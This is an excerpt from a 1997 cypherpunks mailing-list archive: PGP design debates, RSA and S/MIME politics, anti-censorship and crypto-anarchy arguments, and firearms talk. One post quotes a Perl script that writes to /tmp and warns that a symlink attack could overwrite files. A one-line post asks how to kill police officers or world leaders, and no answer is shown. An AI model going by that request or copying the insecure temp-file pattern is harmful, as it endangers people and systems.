easy enough to solve.)

>--Steve

   --John Kelsey, Counterpane Systems, kelsey@counterpane.com
 PGP 2.6 fingerprint = 4FE2 F421 100F BB0A 03D1 FE06 A435 7E36

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBNFje6UHx57Ag8goBAQEsZQP/TWqpL70gThhETuqDlrTJsCCy5PeTMNte
t0tzg8fwPFK3cESSN+5ndRAjUXmdS8dmNZW1U8RcDFpH8YRd1uAfJ4CdmMrK8zgk
OGcegYoSDgwtdLw43Zslx88nl7OgkfvyQqzZZmDkWwyXn0g1RMLcTVt8nyccm6O+
WPH3VLc+7Ho=
=H+YB
-----END PGP SIGNATURE-----


   --John Kelsey, Counterpane Systems, kelsey@counterpane.com
 PGP 2.6 fingerprint = 4FE2 F421 100F BB0A 03D1 FE06 A435 7E36





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 2 Nov 1997 21:03:15 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Privacy Software
In-Reply-To: <199711020817.CAA31716@multi26.netcomi.com>
Message-ID: <199711021247.MAA07989@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Monty Cantsin writes:
> nobody@replay.com (Anonymous) wrote:
> >But now what? Please someone answer my questions about PGP - it
> >appears that the 5.x versions are not compatible with the 2.x
> >versions which came previous.  Is this so? Also, the direction they
> >seem to be heading is in providing more and more non-free GAKked
> >product. But aren't the 2.x and 5.x versions freeware? If so, can't
> >others - a group of individuals - take that source code and build off
> >of that?
> 
> The PGP source code is not the worst I've ever seen, but it's kind of
> odd.  

I had a go at doing something with it (I'll let you know when I get it
to work) -- I had the damnest job figuring out what was going on.  The
problem I found with understanding it were all of the nested functions
called through vectors of functions and handler functions.  Makes it
hard to inspect what will happen without running the code under a
debugger -- lots control flow is decided at run time.

> We should consider a rewrite, which gives us the added benefit that
> it will be completely unencumbered.

Sounds maybe worth doing.

> It also gives us the opportunity to write it in a language other than
> C, one which truly supports encapsulation.  C code is hard to verify
> with great confidence because it is possible to obfuscate it and
> introduce security holes.  This means that C requires one to trust the
> authors to a greater extent than is desirable.

Some C programmers do have fun writing obfuscated chicken scratchings,
but you _can_ write C code optimised for readability.

What language did you have in mind?  modula-3?  iso-pascal/borland
pascal?

> The whole issue of compatibility is an interesting one.  Would it be a
> good idea to have a cryptographic system which was completely
> incompatible with PGP, given the Big Brother risk?

Theoretically perhaps, however I'm not sure a system will get very far
unless it can automatically interoperate with pgp2.x and 5.x.  You
could build something which did the right thing automatically based on
public key types:

hypothetical cpunks mail system (HCMS)

HCMS -> pgp2.x   use RSA/MD5/IDEA and pgp2.x message formats
HCMS -> pgp5.x   use DSA/EG/3DES/SHA1 and pgp5.x message formats
HCMS -> HCMS     use whatever goodies you want, stego, mixmaster, etc.

decision of compatibility mode to use would be based on public key
type you're sending to.

> Something I've never liked about PGP is their approach to encrypting
> to multiple keys.  For one thing, the PGP crowd seems overly
> conservative with bit expenditure, which is silly because bits are
> cheap.  This means that creating entirely separate messages is
> completely economical.

This is more secure I agree.  The real kicker with this problem is
people who turn on encrypt to self -- I don't want messages with
encrypt to self (an extra door into the message) on them in my
mailbox, nor coming over the wire headed to me.

You can see the reason for multiple recipient though -- it's too ease
integration into mailers -- you can process the message and give it
back to the mailer, and then it can still send the message To: x, y;
Cc: z.

Doing away with multiple crypto recipient risk is more an issue of MUA
integration than rabid conservation of bits.

(Btw., if you've looked at pgp formats you will observe a tendency to
hand huffman encode everything -- yuck, makes decoding and encoding
fiddly, makes code bloat, is extra complexity which makes
implementation mistakes more likely).

> It also introduces security risk.  Let's say one of the three public
> keys used to encrypt a message has been compromised.  Let's say the
> other two parties live in places where they aren't supposed to be
> exposed to bad ideas.  Once one key is compromised, the other
> recipients are compromised in receiving a forbidden message.
> 
> On the other hand, if they were separately encrypted, the link between
> the three messages is not obvious.  And, even if the messages *are*
> linked, it's still not obvious that the other recipients didn't get
> something else.  It provides a lot of deniability.

Yes.  I was thinking this also.  Really paranoid cypherpunk mail
delivery should be via mixmaster, and should be forward secret.

> So, perhaps a protocol which does not support anything more than one
> encryption key per message would be a good idea.

You don't have to use it.  I tend not to.  I never use encrypt to
self, and I get annoyed with people who send me messages encrypt to
themselves, and very rarely do I use Cc on encrypted messages.

> Something else that bothers me about PGP is compression.  It strikes
> me as bad design to build this into an encryption program.  Zimmermann
> has suggested that this increases security.  I doubt this.  Modern
> algorithms like IDEA (please correct me if I am wrong) have the
> property that if you get one bit, you've got them all.

Well unless there's something wrong with IDEA it's fairly moot anyway.
Brute force of 128 bit key space is out of the question.

If IDEA did turn out to be weaker than thought -- say effective key
space turned out to be 64 bits -- then there would be some small value
to obscuring known plaintext.  But this doesn't argue for or against
compression -- firstly compression has I think a fixed known header
anyway, and secondly -- the weird IDEA CFB method includes a 16 bit
checksum anyway, which will mean that you have an instantly verifiable
way of reducing the need for more complicated checks to be only once
every 65536 keys tested.  Then you have the CTB on the contained data
-- a prefix ascii(1)||ascii(1) -- that's another 16 bits of known
plaintext.  And so it goes on :-)

> And, I wonder if compression doesn't actually weaken security?  Let's
> say I forward a known message with some commentary.  Since the
> compression tables will be known, it seems like the increased size of
> the message could provide some interesting information about the
> preceding commentary.  All by itself, this probably doesn't matter,
> but combined with other information it might result in a breach.  In
> any event, that which is ambiguous should be eliminated.

I don't understand this comment.

One thing that some people don't realise is that the plaintext gets
mixed into the random pool as an additional source of entropy.  In
automated environments (lots of MUAs which set +batchmode), this is
all the entropy you'll get -- except for the original key presses to
generate the key, and a small bit of entropy from the system clock.

It's fairly good normally because the way entropy is mixed in is a one
way function of the randseed.bin based on IDEA.  To make use of this
an attacker would need a copy of your randseed.bin before you sent the
target message, and to have suspicions of what the message is.  Even
after a few known messages it would still likely be possible to
attack, because the entropy added by the clock is partly predictable
from the message headers Date: field, and because it isn't that much
entropy each time.

> It would also be nice if the messages were padded to predetermined
> sizes, say 10K, 20K, 40K, etc.  (Once compression is eliminated this
> is less of an issue.)

It would be nice to have a system where you send 100k and receive 100k
per day regardless.  Say in 10 10k packets which get poured into a
mixmaster node.

> How about a one time pad mode?  One time pads are more practical than
> widely believed.  Many things we talk about we *do* want to keep quiet
> for the rest of our natural lives.  

Right.

The problem with this is that you need random numbers.  How do you
generate them?  If you use PGP's random pool, one suspects that if
IDEA becomes attackable at some point in the future the random pool
will start to look more like a predictable PRNG to the attacker.

I wonder how good linux's /dev/urandom would be if MD5 becomes even
more suspect.

> It's clear that going the corporate route has to be handled with some
> care.  Given the political implications, investors have certain risks.
> 
> Also, many people seem to switch into a different mode as soon as they
> have a company.  Anything which they perceive as increasing their
> profits becomes good.  PGP, Inc. has gone this way, we've seen First
> Virtual do some unsavory things, 

What did FV do?  I know they don't use encryption, and Nathaniel
Borenstein wrote a few hype-hype articles about the _gasp_ newly
discovered security danger of "key board sniffers".

> and even good old C2 has made a few people uncomfortable.

Only thing slightly negative C2 did was to make a dubious decision in
handling of Mr Nemesis's fabricated claims about stronghold flaws.
C2 still rocks, though right?

> It doesn't have to be this way, of course.  Look at Comsec Partners.
> We don't see any "conversation recovery", lying press releases, or any
> other nonsense from them, just a beautiful product.

Quite so.  C2 hasn't got "web traffic recovery" either :-)

> What I like about selling software is that you could actually make
> good living by doing the right thing.  And, after all, if you've spent
> six months writing something, why shouldn't the users kick in a little
> money instead of freeloading?  I would like to see more crypto users
> in the habit of paying for tools and in the habit starting security
> companies.

New payment models will need to come in.  How can you extract money
from a cryptoanarchist?  Copyright?  Patent?  Hah, hah.

If we get a real eternity service going (not the poor imitation perl
script up now where all traffic goes through a server unless you
install it locally) software copyright could become a thing of the
past :-)

Trust might be one way to go, rely on good will.  Or paying for
technical support.  Or mixmaster, or DC net packet delivery postage
charges.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 2 Nov 1997 19:56:03 +0800
To: cypherpunks@cyberpass.net
Subject: PGP 5.0 international patches and hacks
Message-ID: <199711021150.MAA18314@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



A new resource page is up on the cypherpunks.to web site, to host
various patches and hacks to the pgp 5.0i source. Currently a patch
which fixes the expiration date for the software and "Version" comment
in ASCII-armored messages is available.

For more, visit https://www.cypherpunks.to/

-- 
pgp5hacks@cypherpunks.to





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 2 Nov 1997 22:08:51 +0800
To: whgiii@invweb.net
Subject: Re: RSA Blows Smoke
In-Reply-To: <199711021240.HAA30685@users.invweb.net>
Message-ID: <199711021353.NAA09099@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




William Geiger <whgiii@invweb.net> forwards article:
> The Internet standards process is lengthy and complicated at
> best. The sticking point in RSA's efforts to date is that the task
> force will only consider non-proprietary technologies for the
> standards track. But S/MIME 2, the protocol at the heart of the
> effort, includes core RSA technologies that must be licensed.

No hope then, cool :-)

> RSA, in fact, is only one of five groups that have worked on S/MIME 2,
> which is about to be submitted by the Internet Mail Coalition to the IETF
> as an informational request for comments. Now, in order to retain its hold
> on the S/MIME technology, RSA is taking sole credit for submitting it to
> the task force, some observers claim.

Who worked on S/MIME 2?  How comes it's the same "Internet Mail
Coalition" that is "submitting S/MIME 2 to the IETF" as the one which
Paul Hoffman is slagging off RSA and S/MIME 2?

What version of S/MIME does netscape support?

> Hoffman reiterated that S/MIME 2 won't be an Internet standard
> because it relies on proprietary security technology and weak
> encryption. The Internet Mail Coalition is about to begin work on
> S/MIME 3, which will use stronger encryption and true open
> standards.

What's the point?  Why have two competing standards OpenPGP and S/MIME
3 -- does RSA hope that they will get some value from it?

Does S/MIME 3 have key escrow or CMR snooping support?

> "I hope [the announcement] hasn't sunk their chances because there
> are still a lot of people who want to do S/MIME," said
> Hoffman. "RSA's greediness could sink this, but I really hope it
> doesn't."

Before I heard about CMR additions to pgp5.x I would have said I do
sincerely hope RSA's greed sinks this.  (40 bit RC2/40 feh!)

I think I still do hope RSA's greed sinks S/MIME on average, but I
would be much more certain if this pgp5.x CMR thing could be resolved
satisfactorily.

Unfortunately PGP Inc have closed off dialogue on the topic --
apparent blanket ban on employee discussion of CMR.

So will the OpenPGP draft which Jon Callas dubbed "non political"
include CMR?

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 3 Nov 1997 06:13:28 +0800
To: cypherpunks@cyberpass.net
Subject: ISP is not an important part of identity
In-Reply-To: <3758d87f6140a14b69fb75dda10350ef@squirrel>
Message-ID: <v03102806b0829a6373be@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 2:28 PM -0700 11/2/97, Secret Squirrel wrote:

>For that matter, I'm not sure the the e-mail address and user name are
>good things to associate with the key.  The e-mail address changes all
>the time.  The user name should be assigned by you as part of the
>authentication procedure, not by the person offering the key.
>
>Monty Cantsin
>Editor in Chief
>Smile Magazine


Yep, I get people asking me to "prove" that the "Tim May" who uses the
got.net ISP is the same "Tim May" as "tcmay@netcom.com," which got
associated with my original 1992 key generation.

I try to tell them, "I'm that same entity, whoever that is, if I can sign
messages with that key."

They somehow think the tcmay@netcom.com vs. tcmay@got.net dichotomy is
what's really important. I then ignore them.

- --Tim May


The Feds have shown their hand: they want a ban on domestic cryptography
- ---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."



-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBNFzqzFZizdRU50g/AQEbRAP/ahe8DCgMvWi1R5AkP5209LhMfrHbNKaZ
IsMOn3qt4FrwMwZBDR+RGlqn9tou4YHy5yAtvX7LLTFsyIA9bWLOrFXke+DT3cGu
sVuoIbUfr4oj8j9ttG9C03yUssewV5is3Mx9cvo1ZNwzXmX2NhwLLO/egf8UWndE
lipqOsXus98=
=9/Pf
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Mon, 3 Nov 1997 03:41:39 +0800
To: "Tim May" <cypherpunks@Algebra.COM>
Subject: Re: Clinton's Bigger Gun Ban
Message-ID: <199711021935.OAA25880@mx01.together.net>
MIME-Version: 1.0
Content-Type: text/plain



On 11/2/97 11:14 AM, Tim May (tcmay@got.net)  passed this wisdom:

 [snip]

>Some in the gun community are vilifying Olyarms for introducing this OA-93
>"assault pistol" (the name often applied to politically incorrect pistols
>like this). As if Olyarms should have been cowed into not introducing a
>product out of fear that Clinton would abuse his authority to ban Chinese
>ammo.

  I would not villify them, but I would wonder if they considered that 
aspect when they decided to market the weapon.

>>   One thing though,  7.62x39 really could not be compared to the 5.56
>>NATO, its really more potent out to 2-300 meters; it is still a .30
>>cal vs 5.56 NATOs .223,  but its far less potent than 7.62 NATO
>>(7.62x54). The 7.62x39 was the standard caliber of ComBloc weapons for
>>several decades, most specifically the AK-47, AKM-44 (sniper weapon),
>>and SKS carbine. I think the Dragunov sniper system used a more potent
>>cartridge.
>
>I've never owned anything in 7.62x39. I hear the SKS rifles are pretty good
>for $150, or whatever, and a lot of people have bought them. To me they
>look a little crude. And since I can afford things out of the AR-15 line....

 Having faced down the SKS carbine in Nam on a couple of occasions, I can 
say its a rugged built and seemingly idiot proof weapon of reasonable 
accuracy out to 2-300 meters tops. Many versions come equipped with a 
three-fluted bayonette thats considerably longer than what we used and 
its *most* impressive when some guy comes out of the brush with one in 
your direction ... I got a chance to examine the blade from a few inches 
when I deflected his thrust and delivered a blow of my own ... I would 
just a soon have remained in blissful ignorance of the details ... <sigh>

>(Debate rages in rec.guns and elsewhere about the relative merits of the
>cartridges. I certainly see more variants of the AR-15 here in America,
>more use by tactical and law enforcement teams, and more accessories. But
>maybe I'm not looking in the right places.)

   The 7.62x39 really isn't much of a cartridge, its not potent enough to 
justify its size, 7.62x54 is more potent and its not small enough to 
capitalize on its wimpiness, 5.56 NATO delivers as much oomph in much 
less size. 

  It is relatively simple to appreciate the size difference. When the 
standard issue service rifle was the M-14 (7.62x54 NATA) the standard 
load for a soldier was six(6) magazines of twenty plus the seventh in the 
rifle. When the M-16 became the standard service rifle, the same ammo 
load weight permitted twenty (20) magazines of twenty plus a twenty-first 
in the rifle.
140 rounds versus 420 rounds - biiigggg difference

>One of the more interesting images I ever saw was a photo in one of the gun
>mags of a friendly meeting in the U.S. between Eugene Stoner, principal
>designer of the AR-15 (the M-16 in its military version) and Mikhail
>Kalashnikov, whose name needs no further explanation.
>
>I suppose tree-hugging peaceniks would be aghast at a meeting between these
>two merchants of death. I, being an antigovernment type, was nevertheless
>impressed.

 I too was quite impressed with that meeting, but not surprising. I 
brought a prisoner in once, an NVA regular, a major, and spent several 
days in the field with him before we could get lifted out. He spoke 
excellant English and wonderful education and a wry wit. I found I 
related better to him than I did to most of the upper ranks in the 1st 
MarDiv in DaNang ... almost had half a mind to say 'screw the suits' and 
let him go. Of course therein lies the problem of 'the suits' ... so long 
as they can get us to think of the enemy as 'gooks' or 'ragheads' or 
'krauts' they can con us into killing them ... but as soon as you realize 
they have wives and kids and jobs and bills and neighbors and aunts and 
uncles and nephews, in short, are just like use save for the cut of their 
uniform ... its gets a lot harder to see just why you should kill them 
(unless of course they are pointing a gun at you!)



Brian B. Riley --> http://www.macconnect.com/~brianbr
 For PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>

 "The strongest evidence of intelligent life on other planets is that
  they haven't come here yet.' -- from somewhere on The Net






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@neva.org (Neva Remailer)
Date: Tue, 4 Nov 1997 07:26:31 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Why porn must be stopped at all costs, by Jodi Hoffman
Message-ID: <199711032308.RAA15514@multi26.netcomi.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Declan "Socrates" McCullagh wrote:
>[Wow. First time I've ever been personally accused of being "a major
>reason for the downward spiral of society." --Declan]
>
>
>---------- Forwarded message ----------
>Date: Mon, 03 Nov 1997 11:53:27 -0500
>From: Jodi Hoffman <jlhoffm@ibm.net>
>To: fight-censorship@vorlon.mit.edu
>Subject: Why porn must be stopped at all costs.....
>
>ALL:
>I've forgotten how long I've been on this email list.  Maybe too long.
>
>Try as I might, I cannot forget standing on the steps of the Supreme
>Court building with my husband and 10 year old daughter in the
>freezing drizzle.  I really thought we could make a difference,
>standing there with our banner and signs, one of which read, "DON'T
>SACRIFICE MY CHILD ON THE ALTAR OF THE FIRST AMENDMENT."  Stupid me.
>As the saying goes...we've come a long way, baby.
>
>As I wander back through all the posts on this list, it finally dawns
>on me what this is all about, this 'fight censorship' rhetoric.  It's
>nothing more and nothing less than a lot of egotistical, self-serving
>brats who absolutely refuse to grow up, including you, Declan.  Don't
>you realize that YOU are a major reason for the downward spiral of
>society?  Instead of trying to protect children, you want to empower
>them.  Even a moron knows that when you do so, that power has to be
>taken from someone.  Unfortunately, that someone is the parent.  I
>have to ask myself just how many on this list have children.  Not
>many, I would say.

Hoffman's claim that she is unable to control what her child sees is
weak.  It's easy enough keep kids off the Net.  It's easy to buy
software that only reveals approved parts of the Net.

So what is it about our Constitution that Hoffman finds so offensive?
It certainly doesn't harm her own child.

If we were to be charitable, we would say that she is concerned about
other people's children seeing pornography.  The only problem is, that
the parents of these children are just as able as she is to control
their involvement with the Net.  Yet, apparently, she is unhappy with
the choices these parents are making and wishes to overrule them.  At
best, this is inconsistent with her claim that she believes parents
should decide what their own children see.

If we were to be accurate, instead of charitable, we would observe
that it is most likely that Hoffman is offended by pornography in
general, no matter who sees it.  For instance, this statement refers
to an adult, not a child: "So, keep protecting your porn-induced
orgasms."

Rather than stating her beliefs openly and honestly, she is hiding
behind children, particularly her own child, to put promote her
outrageous, unconstitutional, and un-American totalitarian policies.
(Hoffman may not even be completely conscious of her own motivations.
Often, this sort of person begins with an agenda, and then works him
or herself up into a rage using other reasons for the justification,
somewhat reminiscent of the "Two Minute Hate" sessions described in
Orwell's "1984".)

I said a few days ago that people who would use the excuse of
protecting children to promote their own twisted agenda are the lowest
of the low.  Hoffman is, I believe, a perfect example.  I pity her
child.

This is also a good example of why the use of remailers is advisable.
It lowers the odds that some whacko will come after you with an axe.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBNF5DqZaWtjSmRH/5AQEoXAf+Ie7zmRl8+PJRZbrFILK7crgyCPZX6LRw
tVctKgWgmGlAVWbCyNeAJj6Y3AqBF1gwzhcSkY9OBMmcBYXEf23xi+5UkipD4rJ7
3QGDapph7F94tWzsSeO2NzTVUadawoE7bNl5lL5SaBjXoPpBkH96OAxHJ6zgobAA
K/6z3QBeEDrUeP7pHmmBBVY6X3Z5b8CJGhuqP/gMifl2RsvU/xvFz6LWtRkzR389
zs0UsqDxKQ3yH8Bjdt85dVsyiwSzrLFjQVLNO2JNvOQDgwMpusB4KnMcgp13vgm4
xZ0j9y2EJBgekNwb0sC35BWkACZOuJSSG4bMGuWZR7NP3O/YaV19EA==
=zPYs
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Mon, 3 Nov 1997 00:11:26 +0800
To: cypherpunks@ssz.com
Subject: auto signing messages Re: perl from Amad3us
Message-ID: <199711021541.PAA02992@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





>  #!/usr/local/bin/perl
>  $userID="cypherpunks\@algebra.com";
>  $pgp="/usr/local/bin/pgp";
>  $tmp="/tmp/.sig$$";
>  undef($/);
>  $post = <STDIN>;
>  ($headers,@body) = split(/\n\n/,$post);$body = join("\n\n",@body);
>  open(PIPE,"|$pgp -satf +batchmode +verbose=0 -u $userID > $tmp");


Real paranoiacs don't put temporary files in world-writeable directories.

If a hostile user symlinks your majordomo binary (or something)
to /tmp/.sig999 you're going to overwrite it with garbage.

A single purpose directory /tmp/mdsig writeable only by the
list account 'majordom' would be my preference.  (Correct owner
and mode for this directory and parents could be checked by the perl
script before it decides to write there.)


--
##############################################################
# Antonomasia   ant@notatla.demon.co.uk                      #
# See http://www.notatla.demon.co.uk/                        #
##############################################################





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fred <fred@dev.null>
Date: Mon, 3 Nov 1997 07:04:24 +0800
To: cypherpunks@toad.com
Subject: Re: Speech as co-conspiring? I don't think so.
In-Reply-To: <199711021310.FAA06433@sirius.infonex.com>
Message-ID: <345CF865.7B54@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



::
Anon-To: cypherpunks@toad.com

Mix wrote:

> (*) Tim seems too wiley to be crazy.  Instead, he seems to be playing
> The Most Dangerous Game: Fed baiting.
                           ^^^ (typo)

Could you tell me the best way to kill a policeman, politician, or
world leader, without using a gun? 

Thanks,
  Fred






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <steve@lvdi.net>
Date: Mon, 3 Nov 1997 08:34:01 +0800
To: "John Kelsey" <cypherpunks@Algebra.COM>
Subject: Re: Copyright commerce and the street musician protocol
In-Reply-To: <199711021807.MAA30019@email.plnet.net>
Message-ID: <v03102801b082c490dd70@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



>Comments?  This is clearly not all that new, but I've never
>seen it in a crypto context from anyone but me.

The first somewhat serious treatment of this I saw was Hughes's DEFCON IV
presentation entitled, I believe, "Universal Piracy System."   The first
part proposed an Eternity-like system to anonymously publish information
which was compatible with most Web index engines.

In the second part, Eric predicted that because of the Net's economics and
anonymous mailing and publication potential copyrights were on their way
out.  He acknowledged that some workable method of artist compensation was
still needed and proposed the movie industry as a possible model.  In this
scenario a multi-level money collection and product distribution scheme
would be supported by artist reputation and completion bonds.

--Steve

(Esther Dyson is a supporter of alternative publication economics, and I've
heard Eric's approach.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 3 Nov 1997 00:24:50 +0800
To: ravage@ssz.com
Subject: Re: democracy?! (fwd)
In-Reply-To: <199711012333.RAA01954@einstein.ssz.com>
Message-ID: <199711021618.QAA00188@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Now, on the receiving end of Jim's argument style I come to understand
how those 100 article long flame wars that I never bother reading that
he gets involved with come about :-) Anyway, heedless to the folly,
I'll dive right in, it is quite interesting  :-)

Jim Choate <ravage@ssz.com> writes:
> Forwarded message:

You complained earlier about misquotation, your quotation style is
unusual, it looks like you're pressing the `forward' button rather
than `reply'.

> Pure market anarchy? What the hell is a pure market? 

A free market.  (That should have said pure _free_ market).

Crypto anarchy is free market principles left to run with no
government.  Some people claim that this would actually work pretty
well.  The theory being that it gives you, the individual, maximal
choice.  Not only can you choose whether to purchase a "boob-tube", or
to instead spend the money on other things, but you can choose
protection services, laws, social insurance services, etc.

A problem with democracy is that some decisions are taken centrally
which reduces individual choice.

> Explain how it, without an explicit bill of rights, will protect my
> rights?

A bill of rights is nice, if anybody takes any notice of it.  If
nobody takes any notice it's just a piece of paper.

Crypto anarchy tends to protect your rights because typically your
rights are worth more to you than they are for others to take from
you.  Eg. your neigbours might not want to risk your wrath in invading
your house to see if you smoke something which they don't smoke.  Ie
it hardly matters one way or another to you what your neigbours do
inside their house.  But to you it matters a lot what you're free to
do.  So you can buy a .44 hand gun fairly cheaply.  Now if your
neigbour gets nosy, you can make clear that if he tries invading your
house you will be likely to aerate his skull.  Even if he is better
armed, or whatever, his small gained value in perverse amusement and
satisfaction in annoying you probably isn't worth the risk to him that
you may succeed in blowing him away.

> Explain how we don't end up with a Microsoft that owns everything
> which effectively reduces to a commercial communism?

Difficult to predict of course.  However large corporations are
typically subsidized by democratic governments.  This is a fairly
natural outcome if you think about it, because democracy is in most
current day examples quite biased to best represent the wishes of
those in positions to make large campaign contributions.  Hence the
term `corporate welfare'.

Microsoft's current $1M/day fine is one counter example.

> Where are my 'exit' choices then?

Do you have to buy microsoft software?  I sure don't buy any.  The
microsoft software that I have used (on equipment bought by employers)
is very poor quality, I'd recommend other vendors on quality for the
most part.

> What in the world would motivate such an entity to provide me with
> the resources to be a direct competitor, something clearly not in
> its best interest for long-term survival?

What do you figure they're going to do?  Nuke their competitors?

Someone will try to break the monopoly if it is charging to high
prices.  IBM could easily compete with Bill Gates -- however I hear
they don't bother upgrading OS/2 (an infinitely superior product) to
win95/winNT compatibility because they fear government monopoly
actions against themselves.

> How will others learn the technology and its applications outside
> the purvue of these economic regulatory entities. The unlimited expansion of
> the rail-roads in the 1800's is a excellent simili for comparison for both
> what such a system would be like as well as the major problems it *doesn't*
> address. Taminy Hall ring any bells? There was a free market political
> system if there ever was one; pay me and I'll do it for you, don't and you 
> can freeze in hell.

No pay, no goods.  Sounds good to me!

(I'm not sure what the stated problem was -- too many rail roads?
Surely that's self regulating: too many becomes too competitive, too
low profit margin, the less efficient ones go bankrupt.)

> A more modern example is the history of the telecommunications
> companies which even after being broken up have now re-combined so
> that we in effect only have 3 domestic tel-comm providers, and they
> are discussing how to combine their resources.

A government supported monopoly if ever I heard of one.  (Oooh that
statement is going to get me in trouble).

> Further explain why such a system will guarantee that my views will
> at least be addressed at some level and not relegated a priori to a
> trash-heap because it goes against the market analysis of some bunch
> of bean-counters?

I can't see any reason for any of your wishes to come true if there is
no one who can profit from fulfilling those wishes.

> Who do I go to for resolution of claims against these entities, the
> self-same entities?

An independent third party arbitrator service who's arbitration
services and terms were agreed up front in the contract?

> You call that justice, equality, or even representation?

Yes.  Representation of the $, excellent.

> Explain why and how such a economic based system will guarantee my
> right to free speech or even to run a small business which I
> currently do when it is clear that I am in open competition with the
> very entities which provide me the resources to make the money?

I don't know what your business is, but you're bright I'm sure you'll
thrive in a free market.

> What is the economic motivation for the resource controlling
> entities to support my freedoms when it reduces their income?

None.  Their interests are to keep their customers happy so that they
buy more products and services.  If you aren't a customer, or they
can't see any gain in helping you they may tell you to fuck off.
Sounds fair enough to me.  You want to pass laws telling them what
they can do with their resources?

> Explain how your system prevents economic black-balling? 

Anonymous payments, no reporting requirements.  Who are they going to
black ball?  Just start another nym.

> Another implication is that we will see more of the sort of business
> stategies implimented by PGP Inc. (for example) where they want a
> percentage of your income *without* accepting a percentage of the
> risk, economic tyrany is tyrany just the same.

That's fine by me.  If PGP Inc's price is fair, they'll do well.  If
it's too high they'll be under cut, and be forced to adjust or lose
trade to competition.

> What recourse do I have if the monopolies which arise in such a
> system decide that the services or resources I need won't be
> provided?

Go into a different line of business?  Buy the resources on the black
market?  Find another supplier of those resources, start a company to
supply those resoureces yourself.

> Am I then supposed to just calmly accept becoming some prole for
> some zaibatsu? What happens when those monopolies decide that if
> they work together they can further streamline the market, and my
> going to church or taking a vacation goes against those business
> requirements?

There is a danger that if monopolies thrive it could get dangerous.
However I'm not sure even then it's going to be worse than the current
situation... 50% income tax?  Corporations will I think learn that a
satisfied happy employee works harder.  It simply isn't worth it to
them to piss you off.  Also I'm not sure large corporations are the
most efficient company size -- I suspect some of them may fragment
without generous corporate welfare programs.

> It sounds like you are supporting Hirshleifer who says:
> 
> "The mere fact of low income under anarchy... of itself provides no clear
> indication as to what is likely to happen next."

I tend to think there would be an economic boom... all those previous
unproductive government employees joining the work productive force.

> Which in effect breaks down into one of two results for individuals (which
> all free market anarchists admit openly) who don't have sufficient income
> to buy their indipendance and their say:
> 
> 1.  they devote a great deal of effort to fighting to gain control over
>     resources.
> 
> or 
> 
> 2.  they capitulate to some other party and turn over their resources
>     for food and shelter.

Sounds fair enough to me.  If an individual can't manage his own
finances, perhaps he would be better off in some kind of managed
community.  Better than having the state steal money off productive
people to fund his laziness or ineptitude.

> History would argue that people will accept neither of these as a
> solution to day-to-day living. Economists should stay out of
> politics.

That's a strange statement.  Economics is reality.  If you can't
persuade people to part with their money through their own volition,
it's theft!  People's charity is your only recourse if you are unable
to provide any services.  Taking charity at gun point tends to annoy
people, and tends to be called theft.

> It's one of the reasons that at no point in either the Declaration
> of Indipendance or the Constitution that businesses are given rights
> are even given consideration except in regards of taxation of
> inter-state commerce. People should have seperation of government
> and religion and that includes the worship of wealth.

Disolve government, that should be a good way of separating it from
lobbying by religious fantasists.  Worship of wealth is much healthier
than worship of institutionalised theft.

> > (perhaps old Iceland would be a suitable anarchy
> > to consider as a comparison).
> 
> If it's so damn good how come it doesn't exist anymore?

